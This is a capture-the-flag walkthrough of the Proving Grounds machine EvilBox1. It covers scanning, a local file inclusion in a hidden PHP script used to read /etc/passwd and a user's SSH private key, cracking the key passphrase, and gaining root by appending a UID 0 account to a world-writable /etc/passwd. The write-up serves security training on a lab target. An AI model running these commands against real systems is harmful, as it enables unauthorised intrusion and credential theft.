Skip to content

EvilBox1 Writeup - Proving Grounds

Easy Linux

Created October 7, 2026 • Last updated October 7, 2026 • 3 min read

EvilBox1 exposes a local file inclusion on a hidden PHP script, which reads an SSH private key out of a user's home directory. Cracking the key passphrase gives SSH access, and a world-writable /etc/passwd lets us add a second root user for a root shell.

Reconnaissance

Nmap

Scan the target for open services.

┌──(kali㉿kali)-[~]
└─$ sudo nmap -p- -sCV $TARGET_IP
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
Explain command
-p- Scan all 65535 TCP ports.
-sCV Run the default scripts and probe service versions.

SSH and HTTP. Port 80 serves a default Apache page, so brute force directories.

Directory and parameter discovery

Fuzz directories, then fuzz the discovered script for a parameter.

┌──(kali㉿kali)-[~]
└─$ gobuster dir -u http://$TARGET_IP -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
/secret               (Status: 301)
/secret/evil.php      (Status: 200) [Size: 0]
Explain command
-w Wordlist to brute force with.

A hidden /secret/evil.php returns an empty page, which suggests it takes a parameter. Fuzz the parameter name with ffuf.

┌──(kali㉿kali)-[~]
└─$ ffuf -u 'http://$TARGET_IP/secret/evil.php?FUZZ=/etc/passwd' -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -fs 0
:: Method : GET
:: URL    : http://$TARGET_IP/secret/evil.php?FUZZ=/etc/passwd
:: Filter : Response size: 0

command                 [Status: 200, Size: 1398]
Explain command
-u Target URL with the FUZZ keyword on the parameter name.
-fs 0 Filter out empty (size 0) responses.

The command parameter returns content, so evil.php is a local file inclusion.

Exploitation

LFI to SSH private key

Read /etc/passwd through the LFI to enumerate users.

┌──(kali㉿kali)-[~]
└─$ curl http://$TARGET_IP/secret/evil.php?command=/etc/passwd
root:x:0:0:root:/root:/bin/bash
...
mowree:x:1000:1000:mowree,,,:/home/mowree:/bin/bash

The user mowree exists. Pull their SSH private key through the same LFI.

┌──(kali㉿kali)-[~]
└─$ curl http://$TARGET_IP/secret/evil.php?command=/home/mowree/.ssh/id_rsa
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: DES-EDE3-CBC,9FB14B3F3D04E90E

uuQm2CFIe/eZT5pNyQ6+K1Uap/FYWcsEklzONt+x4AO6FmjFmR8RUpwMHurmbRC6
<snip>
-----END RSA PRIVATE KEY-----

The key is passphrase-protected. Convert it with ssh2john and crack the passphrase with John.

┌──(kali㉿kali)-[~]
└─$ ssh2john id_rsa > hash
┌──(kali㉿kali)-[~]
└─$ john hash --wordlist /usr/share/wordlists/rockyou.txt
$MOWREE_PASSPHRASE   (id_rsa)
1g 0:00:00:00 DONE

Log in over SSH as mowree with the recovered passphrase.

┌──(kali㉿kali)-[~]
└─$ ssh -i id_rsa mowree@$TARGET_IP
mowree@EvilBoxOne:~$ id
uid=1000(mowree) gid=1000(mowree) groups=1000(mowree)
Explain command
-i Use this private key for authentication.

Shell as mowree. Check sensitive file permissions.

Privilege Escalation

Writable /etc/passwd

The /etc/passwd file is world-writable.

┌──(kali㉿kali)-[~]
└─$ ls -l /etc/passwd
-rw-rw-rw- 1 root root 1398 aug 16  2021 /etc/passwd

Add a second root user. Generate a password hash with openssl and append an entry with UID 0.

┌──(kali㉿kali)-[~]
└─$ openssl passwd -1 -salt salt password
┌──(kali㉿kali)-[~]
└─$ echo 'hacker:$1$salt$qJH7.N4xYta3aEG/dfqo/0:0:0::/root:/bin/bash' >> /etc/passwd
┌──(kali㉿kali)-[~]
└─$ su hacker
mowree@EvilBoxOne:~$ su hacker
Password:
root@EvilBoxOne:~# id
uid=0(root) gid=0(root) groups=0(root)
Explain command
-1 Use the MD5-crypt algorithm so the hash is valid in /etc/passwd.

The new UID 0 account gives a root shell.